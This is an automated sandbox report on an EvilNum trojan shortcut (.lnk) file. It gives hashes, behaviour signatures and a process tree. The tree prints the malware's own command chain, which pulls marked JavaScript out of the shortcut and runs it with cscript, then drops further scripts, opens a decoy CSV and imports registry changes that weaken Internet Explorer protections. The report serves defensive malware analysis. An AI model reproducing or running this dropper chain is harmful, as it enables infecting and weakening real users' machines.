Overview

overview

10

Static

static

10

0713c5c3db...fc.lnk

windows7_x64

10

0713c5c3db...fc.lnk

windows10-2004_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    04-02-2022 08:41

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General

  • Target

    0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk

  • Size

    33KB

  • MD5

    219dedb53da6b1dce0d6c071af59b45c

  • SHA1

    650deb9baff4b7564146222deb555e77d5cbbe36

  • SHA256

    0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc

  • SHA512

    dfb89f58f70aa56b7dc681d01626f59c76c2d1bfa777f49b0ec0885c8122fe48e8fd88a92bc5879643b10a17ee709946871004f88187b6e56cca39be915c2e0a

Score
10/10
evilnumpersistencetrojan

Malware Config

Signatures

  • EvilNum C# Component 2 IoCs
  • EvilNum JS Component 2 IoCs
  • Evilnum

    A malware family with multiple components distributed through LNK files.

    trojanevilnum
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer Automatic Crash Recovery 1 TTPs 1 IoCs
  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 47 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1900
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /c copy 2*.lnk C:\Users\Admin\AppData\Local\Temp&C:&cd C:\Users\Admin\AppData\Local\Temp&attrib +r *.lnk&for /f "delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js &CsCRipt .js "%~fa"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\system32\attrib.exe
        attrib +r *.lnk
        3⤵
        • Views/modifies file attributes
        PID:3780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c dir /s /b *.LnK
        3⤵
          PID:644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk" "
          3⤵
            PID:480
          • C:\Windows\system32\find.exe
            find "p0b2x6"
            3⤵
              PID:396
            • C:\Windows\system32\cscript.exe
              CsCRipt .js "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:2528
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c 200_Germany.csv
                4⤵
                • Checks computer location settings
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:1136
                • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\200_Germany.csv"
                  5⤵
                    PID:3560
                • C:\Windows\System32\cscript.exe
                  "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\file.js
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:1868
                  • C:\Windows\System32\cscript.exe
                    "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\kill.js
                    5⤵
                      PID:1620
                    • C:\Windows\System32\reg.exe
                      "C:\Windows\System32\reg.exe" import C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\g3r.reg
                      5⤵
                      • Modifies Internet Explorer Automatic Crash Recovery
                      • Modifies Internet Explorer Phishing Filter
                      • Modifies Internet Explorer Protected Mode
                      • Modifies Internet Explorer Protected Mode Banner
                      • Modifies Internet Explorer settings
                      PID:540
            • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
              "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
              1⤵
                PID:3764
              • C:\Program Files\Internet Explorer\iexplore.exe
                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                1⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:220
                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:220 CREDAT:17410 /prefetch:2
                  2⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of SetWindowsHookEx
                  PID:3760
              • C:\Windows\system32\MusNotifyIcon.exe
                %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
                1⤵
                • Checks processor information in registry
                PID:3872
              • C:\Windows\System32\WaaSMedicAgent.exe
                C:\Windows\System32\WaaSMedicAgent.exe 798d2b5301d19e9cab21e678228390d6 CH6w7teuu0eD8V7P0UJRQw.0.1.0.0.0
                1⤵
                • Modifies data under HKEY_USERS
                PID:3492
              • C:\Windows\system32\MusNotifyIcon.exe
                %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
                1⤵
                • Checks processor information in registry
                PID:3248
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k NetworkService -p
                1⤵
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                PID:116

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/3560-458-0x00007FF99B410000-0x00007FF99B420000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3560-459-0x00007FF99B410000-0x00007FF99B420000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3560-460-0x00007FF99B410000-0x00007FF99B420000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3560-461-0x00007FF99B410000-0x00007FF99B420000-memory.dmp

                Filesize

                64KB

                Download

              • memory/3560-462-0x00007FF99B410000-0x00007FF99B420000-memory.dmp

                Filesize

                64KB

                Download